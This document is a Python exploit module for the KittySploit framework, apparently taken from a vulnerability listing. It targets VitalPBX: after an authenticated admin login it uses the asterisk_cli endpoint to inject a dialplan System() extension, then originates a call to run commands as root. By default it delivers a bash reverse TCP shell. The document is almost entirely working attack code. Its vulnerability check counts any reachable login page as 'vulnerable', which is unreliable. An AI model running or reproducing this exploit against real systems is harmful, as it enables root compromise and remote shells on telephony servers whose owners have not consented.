VitalPBX asterisk_cli System() root RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""VitalPBX asterisk_cli dialplan System() root privilege escalation."""
from __future__ import annotations
import json
import re
import time
from urllib.parse import urlencode
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client, Handler):
__info__ = {
"name": "VitalPBX asterisk_cli System() root RCE",
"description": (
"Authenticated admin POST index.php asterisk_cli runCommand adds "
"dialplan System() extension and originates a call to run as root."
),
"author": ["KittySploit Team"],
"platform": Platform.LINUX,
"arch": [Arch.CMD],
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"platform": Platform.UNIX,
"category": PayloadCategory.CMD,
},
"references": [],
"tags": ["vitalpbx", "rce", "privesc"],
"agent": {
"risk": "critical",
"effects": ["active_exploitation", "remote_code_execution"],
"expected_requests": 4,
"reversible": False,
"approval_required": True,
"produces": ["rce", "shell"],
"chain": {
"suggested_followups": ["scanner/http/vitalpbx_asterisk_cli_root_rce_detect"],
},
},
}
port = OptPort(8060, "VitalPBX HTTP port", required=True)
ssl = OptBool(False, "Use HTTPS", required=False)
username = OptString("admin", "Web admin username", required=True)
password = OptString("", "Web admin password", required=True)
extension = OptString("9999", "Dialplan extension number", required=False)
dialplan_context = OptString("rcectx", "Dialplan context name", required=False)
def _login(self) -> tuple[str, str]:
self.http_request("GET", "/index.php?class=login", session=True)
body = urlencode(
{
"class": "login",
"method": "authenticate",
"user": str(self.username or "admin"),
"password": str(self.password or ""),
}
)
resp = self.http_request(
"POST",
"/index.php",
data=body,
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
},
session=True,
)
csfr = ""
if resp:
try:
j = resp.json()
csfr = str(j.get("csfr_token") or j.get("csrf_token") or "")
except Exception:
pass
if not csfr:
r2 = self.http_request(
"POST",
"/index.php",
data=urlencode({"class": "user_profile", "method": "get"}),
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
},
session=True,
)
if r2:
try:
csfr = str(r2.json().get("csfr_token") or "")
except Exception:
pass
sid = ""
if resp and resp.cookies:
sid = str(resp.cookies.get("sid") or "")
return sid, csfr
def _run_cli(self, sid: str, csfr: str, cli_cmd: str) -> tuple[int, str]:
body = urlencode(
{
"class": "asterisk_cli",
"method": "runCommand",
"mode": "get",
"data": cli_cmd,
"csfr_token": csfr,
}
)
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
}
if sid:
headers["Cookie"] = f"sid={sid}"
resp = self.http_request("POST", "/index.php", data=body, headers=headers, session=True)
if not resp:
return -1, "request failed"
return int(resp.status_code or 0), resp.text or ""
def execute(self, cmd: str) -> str:
sid, csfr = self._login()
if not csfr and not sid:
return "login failed — check credentials"
ext = str(self.extension or "9999")
ctx = str(self.dialplan_context or "rcectx")
add_cmd = f"dialplan add extension {ext},1,System({cmd}) into {ctx}"
code, body = self._run_cli(sid, csfr, add_cmd)
if "success" not in (body or "").lower():
return f"dialplan add failed HTTP {code}: {body[:500]}"
time.sleep(1)
ori_cmd = f"channel originate Local/{ext}@{ctx} application hangup"
code2, body2 = self._run_cli(sid, csfr, ori_cmd)
return f"add: HTTP {code}\noriginate: HTTP {code2} {body2[:500]}"
def check(self):
resp = self.http_request("GET", "/index.php?class=login")
if resp and int(resp.status_code or 0) < 500:
return {
"vulnerable": True,
"reason": "VitalPBX login reachable",
"confidence": "low",
}
return {"vulnerable": False, "reason": "VitalPBX not reachable", "confidence": "low"}
def run(self):
shell = self.shell_from_payload()
if not shell:
print_error("Set payload")
return False
if not str(self.password or "").strip():
print_error("Set admin password")
return False
chk = self.check()
if not chk.get("vulnerable"):
print_error(chk.get("reason", "Target not ready"))
self.not_vulnerable()
return False
print_status("asterisk_cli dialplan System() chain")
print_info(self.execute(shell))
self.vulnerable()
blind = bool(re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I))
return True if blind else True
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27 Oct 2026 13:35Current
6.1Medium risk
Vulners AI Score6.1